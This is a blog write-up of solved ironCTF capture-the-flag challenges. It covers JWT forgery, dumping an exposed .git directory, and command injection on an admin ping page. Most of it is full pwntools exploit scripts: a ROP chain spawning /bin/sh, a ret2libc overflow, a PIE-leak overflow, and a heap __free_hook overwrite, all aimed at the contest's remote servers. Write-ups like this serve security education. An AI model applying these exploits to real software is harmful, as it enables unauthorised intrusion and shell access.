I wrote few challenges i solved.
I was disappointed that I couldn't solve problems such as deserialization and csrf that could have been solved because of pyjail... haha
Math Gone Wrong
let's check the process
the formula is always true.
but we can think about floating point.
if we use the number like `e`, the formula can become false. But, we can't use single `e`.
So i used as below
flag : ironCTF{s1mpl3_r3m4ind3r_70_b3w4r3_0f_fl047ing_p0in7_3rr0r}
Introspection
First of all, let's check source code.
it would flush flag if we inject `A*1008`. Cause there is no null byte.
Let's use simple exploit code.
result is as below
flag : ironCTF{W0w!_Y0u_Just_OverWrite_the_Nul1!}
JWT Hunt
This is just simple challenge without sourcecode.
It has, register and login button as below and maybe we can get flag when we login as `admin`.
First, register and login with test/test.
When i travel(?) around the website, i can view the JWT and secretketpart2 as below.
Now, we can realize what to do.
Find all of secretkeyparts, and use that keys for JWT secret bit.
We can find secretkeypart1 from robots.txt.
We already have secretkey2 from `cookie`.
Next, secretkeypart3 is in sitemap.xml.
Last, secretkeypart4 was a bit tricky. We have to use burp suite.
I 've checked allowed method. We can use `HEAD` method and approach to `/secretkeypart4`
We've got all of the parts. Now we have to make JWT.
Now inject the token and reload the page.
flag : ironCTF{W0w_U_R34lly_Kn0w_4_L07_Ab0ut_JWT_3xp10r4710n!}
MovieReviewApp
This challenge has no source code, too. Let's view the page.
There were nothing i could inject something.
But, I've found directory listing in this page, when i delete `movies/`.
There is `.git` directory.
I've used `git-dumper`.
https://github.com/arthaud/git-dumper
I've used below command to dump all of git files.
./git_dumper.py https://movie-review.1nf1n1ty.team/.git ../movie
When i use `git log` command is `movie` directory i can view the logs.
I've check the commit 3892d93c3eb7f379e4d2991c8cd011a4336804b6. Cause it is related with authentication.
We can obtain hardcoded id/pw and also there was servermonitor directory.
So i approached to servermonitor directory. There is an Admin page!
You can see the Admin login page, and use hardcoded id/pw we obtained.
We can see admin_panel page.
Let's see the code again.
@app.route('/admin_panel', methods=['GET', 'POST'])
def admin_panel():
if 'logged_in' not in session:
return redirect(url_for('admin'))
ping_result = None
if request.method == 'POST':
ip = request.form.get('ip')
count = request.form.get('count', 1)
try:
count = int(count)
ping_result = ping_ip(ip, count)
except ValueError:
flash("Count must be a valid integer")
except Exception as e:
flash(f"An error occurred: {e}")
memory_info = psutil.virtual_memory()
memory_usage = memory_info.percent
total_memory = memory_info.total / (1024 ** 2)
available_memory = memory_info.available / (1024 ** 2)
return render_template('admin.html', ping_result=ping_result,
memory_usage=memory_usage, total_memory=total_memory,
available_memory=available_memory)
we can use command injection now. When we inject in `ip` parameter, it occurs error.
But, when we use with `count` parameter, something works!
I've use below command to check the flag file.
Let's catch the file.
flag : ironCTF{4lways_b3_c4ar3ful_w1th_G1t!}
I've attached solver code my Team member solved
https://neko-hat.github.io/ -> He solved it. If you have question ask him in discord :)
Later I would attempt to solve and attach writeups my own. If i have time to do... :)
Hopper
from pwn import *
context.log_level = 'debug'
# p = process('./Hopper')
p = remote('pwn.1nf1n1ty.team', 31886)
p.recvuntil(b'( ~ Y. )\n')
leak_ret_addr = u64(p.recv(6) + b'\x00' * 2)
log.critical(f'leak ret addr: {hex(leak_ret_addr)}')
pop_rdi_jmp_r15 = 0x0040101d
pop_r15_jmp_r15 = 0x000000000040101c
ret = 0x0000000000401013
syscall = 0x000000000040100a
pop_rsi_pop_rdi_pop_rbx_pop_r13_pop_r15_jmp_r15 = 0x0000000000401017
jmp_addr = leak_ret_addr-0x10
pop_r15_jmp_r15 = 0x000000000040101c
xor_rdx_jmp_r15 = 0x0000000000401021
xor_rsi_jmp_r15 = 0x0000000000401027
add_rbx_jmp_rbx = 0x0000000000401011
call_read_func = 0x401069
and_al_0x48_add_ebx_jmp = 0x0000000000401010
and_al_0x24_add_rbx_jmp = 0x000000000040100f
syscall_and_jmp_rsp = 0x401077
pay = p64(ret) + p64(pop_rsi_pop_rdi_pop_rbx_pop_r13_pop_r15_jmp_r15) + p64(leak_ret_addr+0x28) + p64(0) + p64(leak_ret_addr+0x18) + p64(0)
pay += p64(ret) + p64(and_al_0x24_add_rbx_jmp) + p64(syscall_and_jmp_rsp)
p.sendafter(b'>> ', pay)
pay = p64(ret) +p64(pop_rdi_jmp_r15) + p64(leak_ret_addr+0x58) + p64(xor_rdx_jmp_r15) + p64(xor_rsi_jmp_r15) + p64(syscall) + b'/bin/sh\x00' + b'\x00' * 3
p.send(pay)
p.interactive()
My solve code after the CTF end
from pwn import *
context.log_level = "DEBUG"
#p = process("./Hopper")
p = remote("pwn.1nf1n1ty.team",31886)
def slog(name, addr): return success(': '.join([name, hex(addr)]))
#gdb.attach(p, gdbscript="source ~/peda/peda.py ")
p.recvuntil(b'( ~ Y. )\n')
leak_ret_addr = u64(p.recv(6) + b'\x00' * 2)
slog('addr: ', leak_ret_addr)
sh_addr = leak_ret_addr + 0x8 # offset
syscall = 0x40100a # or use 0x401077
xor_rsi_rsi = 0x401027 # with jmp r15
xor_rdx_rdx = 0x401021 # with jmp r15
pop_rsi_pop_rdi_pop_rbx_pop_r13_pop_r15_jmp_r15 = 0x401017
xchg_rax_r13 = 0x40100c
ret = 0x401013
pl = p64(ret) # 8byte
pl += p64(pop_rsi_pop_rdi_pop_rbx_pop_r13_pop_r15_jmp_r15)
pl += p64(0)
pl += p64(sh_addr)
pl += '/bin/sh\00' # don't use /bin//sh, when we use /bin//sh `;` could be injected
pl += p64(0x3b)
pl += p64(ret) # ret gadget for continue code
pl += p64(xchg_rax_r13)
pl += p64(xor_rdx_rdx)
pl += p64(syscall)
p.sendafter(">> ", pl) #without \n
p.interactive()
challenge info
-checksec-
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : disabled
-file-
Hopper: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, not stripped
-info func-
0x0000000000401000 print
0x0000000000401011 dispatcher
0x0000000000401017 gadgets
0x0000000000401033 _start
there are no library, so there are no `got`, `plt`
Also when we input something, It goes to RIP. this means we can control RIP.
And If we use vmmap, there are no `rwx` section to use shellcode.
we need to make condition as below
rax - 0x3B = 59
rdi - /bin//sh
rsi - 0
rdx - 0
also we need to know that read() in C returns received byte length and the length goes to RAX register.
So, the payload's length should be 0x3B. But, there was `xchg ` gadget. So i used that one.
how to get gadget
git clone https://github.com/0vercl0k/rp
cd src/build
chmod u+x ./build-release.sh && ./build-release.sh
sudo ln -s /home/tr4ce/tools/rp/src/build/rp-lin /usr/bin/rp-lin (linking)
rp-lin -f ./Hopper -r5 (control level with -r1~5)
LoginSimulator
from pwn import *
context.log_level = 'debug'
# p = process('./login')
p = remote('pwn.1nf1n1ty.team', 31293)
libc = ELF('./glibc/libc.so.6')
def register_user(name, passwd):
p.sendlineafter(b'> ', b'1')
p.sendlineafter(b'Enter your name: ', name)
p.sendlineafter(b'Enter new password: ', passwd)
def view_user(id):
p.sendlineafter(b'> ', b'2')
p.sendlineafter(b'Enter user id: ', str(id).encode())
def change_password(id, passwd, new_passwd):
p.sendlineafter(b'> ', b'3')
p.sendlineafter(b'Enter your user id: ', str(id).encode())
p.sendlineafter(b'Enter your password: ', passwd)
p.sendlineafter(b'Enter new password: ', new_passwd)
def send_cmd(pay):
p.sendlineafter(b'> ', b'1337')
p.sendafter(b'Enter command: ', pay)
for i in range(5):
register_user((f'neko{i}' * 4).encode(), (f'neko{i}' * 4).encode())
p.sendlineafter(b'> ', b'3')
p.sendlineafter(b'Enter your user id: ', str(4).encode())
p.sendlineafter(b'Enter your password: ', b'neko4' * 4 )
p.sendlineafter(b'Enter new password: ', b'A' * 21)
p.sendlineafter(b'application: ', b'1.1')
p.recvuntil(b'\x99\xf1')
leak = u64(p.recv(6) + b'\x00' * 2)
log.critical(f"leak: {hex(leak)}")
lb = leak - 0x81a3f
log.critical(f"lb {hex(lb)}")
pop_rdi = lb + 0x0000000000028215
ret = lb + 0x000000000002668c
binsh = lb + list(libc.search(b'/bin/sh'))[0]
system = lb + libc.symbols['system']
log.critical(f'binsh: {hex(binsh)}')
pay = b'A' * 400 + b'B' * 8
pay += p64(ret) + p64(pop_rdi) + p64(binsh) + p64(system)
send_cmd(pay)
p.interactive()
1nf1n1tyShop
from pwn import *
context.log_level = 'debug'
# p = process('./1nf1n1tyShop')
p = remote('pwn.1nf1n1ty.team', 31798)
e = ELF('./1nf1n1tyShop')
libc = ELF('./libc.so.6')
p.sendlineafter(b'Enter Your Name:\n>', 'neko')
p.sendlineafter(b'\n>', b'4')
p.recvuntil(b'Your prize: ')
flag_addr = int((p.recvuntil(b';', drop=True)).decode(), 16)
pie_base = flag_addr - e.symbols['flag']
food = pie_base + e.symbols['food']
log.critical(f'pie_base: {hex(pie_base)}')
log.critical(f'food: {hex(food)}')
pay = b'A' * 172
pay += p32(pie_base+e.symbols['main'])
p.sendlineafter(b'\n>', b'2')
p.sendafter(b'\n>', pay)
p.sendlineafter(b'Enter Your Name:\n>', 'hacker')
p.sendlineafter(b'\n>', b'4')
p.recvuntil(b'Your prize: ')
system = int((p.recvuntil(b';', drop=True)).decode(), 16)
lb = system - libc.symbols['system']
binsh = lb + list(libc.search(b'/bin/sh'))[0]
one_gadget = lb + 0x173af2
bss = pie_base + e.bss() + 0x1b00
log.critical(f'system: {hex(system)}')
log.critical(f'lb: {hex(lb)}')
log.critical(f'bss: {hex(bss)}')
pay = b'A' * 164
pay += p32(pie_base + 0x3ff4)
pay += p32(bss)
pay += p32(pie_base+0x124B)
p.sendlineafter(b'\n>', b'2')
p.sendafter(b'\n>', pay)
puts_got = pie_base + 0x4010
pppr = lb + 0x0003ddea
pay = b'A' * 0xa4
pay += p32(pie_base + 0x3ff4)
pay += p32(bss)
pay += p32(system)
pay += p32(pppr)
pay += p32(binsh)
pay += p32(0)
pay += p32(0)
p.send(pay)
p.interactive()
SimpleNotes
from pwn import *
context.log_level = 'debug'
# p = process('./SimpleNotes')
p = remote('pwn.1nf1n1ty.team', 32229)
libc = ELF('./libc.so.6')
def add_note(id, size, pay):
p.sendlineafter(b'>> ', b'1')
p.sendlineafter(b'Enter the id of note: ', str(id).encode())
p.sendlineafter(b'Enter the size of note: ', str(size).encode())
p.sendafter(b'Enter the note: ', pay)
def edit_note(id, size, pay):
p.sendlineafter(b'>> ', b'2')
p.sendlineafter(b'Enter the id of note: ', str(id).encode())
p.sendlineafter(b'Enter the size of note: ', str(size).encode())
p.sendafter(b'Enter the note: ', pay)
def delete_note(id):
p.sendlineafter(b'>> ', b'3')
p.sendlineafter(b'Enter the id of note: ', str(id).encode())
def read_note(id):
p.sendlineafter(b'>> ', b'4')
p.sendlineafter(b'Enter the id of note: ', str(id).encode())
add_note(0, 0x1000, b'neko_hat')
delete_note(0)
for i in range(0x2):
add_note(i, 0x1000, b'n')
delete_note(0)
delete_note(1)
add_note(0, 1, b'n')
edit_note(0, 0x100, b'A'*0x8)
read_note(0)
p.recv(8)
leak = u64(p.recv(6) + b'\x00' * 2)
log.critical(f"leak: {hex(leak)}")
lb = leak - 0x3ebca0
system = lb + libc.symbols['system']
log.critical(f"lb: {hex(lb)}")
free_hook = lb + libc.symbols['__free_hook']
log.critical(f"free_hook: {hex(free_hook)}")
for i in range(2, 5):
add_note(i, 0x1, b'n')
delete_note(4)
delete_note(3)
pay = b'A' * 0x10 +p64(0) +p64(0x21) + p64(free_hook)
edit_note(2, 0x100, pay)
add_note(5, 10, b'/bin/sh\x00')
add_note(6, 10, p64(system))
delete_note(5)
p.interactive()
Fire in the Base Camp
import requests
target = """/is/this/the/flag
/i/think/this/is/the/one
/seriously/give/me/the/flag/now
/please/give/it/to/me"""
target = target.split('\n')
path = (target[3][0:7])
path +=(target[2][10:15])
path +=(target[3][18:21])
path +=(target[1][16:20])
path +=(target[0][12:27])
print(path)
res = requests.get("https://app3-7d107-default-rtdb.firebaseio.com"+path+'.json')
flag_dic = res.json()
flag = ''
for key in flag_dic.keys():
flag += flag_dic[key]
print(flag)
certificate
'CTF' 카테고리의 다른 글
Hero CTF 2024 (0) | 2024.10.27 |
---|---|
BuckeyeCTF 2024 (0) | 2024.09.29 |
ASIS CTF 2024 (0) | 2024.09.23 |
RSTCON 2024 CTF (0) | 2024.09.16 |
BSidesSF 2024 CTF (0) | 2024.05.06 |